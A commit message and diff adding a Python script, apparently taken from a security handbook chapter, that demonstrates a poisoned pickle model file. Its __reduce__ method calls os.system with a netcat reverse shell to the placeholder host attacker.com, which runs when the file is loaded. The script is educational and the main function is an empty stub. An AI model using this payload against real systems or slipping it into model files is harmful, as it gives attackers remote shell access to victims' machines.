Add practical scripts directory with 400+ tools

- Extracted all code examples from handbook chapters
- Organized into 15 attack categories
- Created shared utilities (api_client, validators, logging, constants)
- Added workflow orchestration scripts
- Implemented install.sh for easy setup
- Renamed all scripts to descriptive functional names
- Added comprehensive README and documentation
- Included pytest test suite and configuration

scripts/utils/attack.py

@@ -0,0 +1,36 @@
+#!/usr/bin/env python3
+"""
+44.5.1 The Pickle Exploit
+
+Source: Chapter_44_Emerging_Threats
+Category: utils
+"""
+
+import pickle
+import os
+
+import argparse
+import sys
+
+class MaliciousModel:
+    def __reduce__(self):
+        # This command runs when the victim does `torch.load('model.bin')`
+        return (os.system, ('nc -e /bin/sh attacker.com 4444',))
+
+# Generating the payload
+# payload = pickle.dumps(MaliciousModel())
+# with open('pytorch_model.bin', 'wb') as f:
+#     f.write(payload)
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()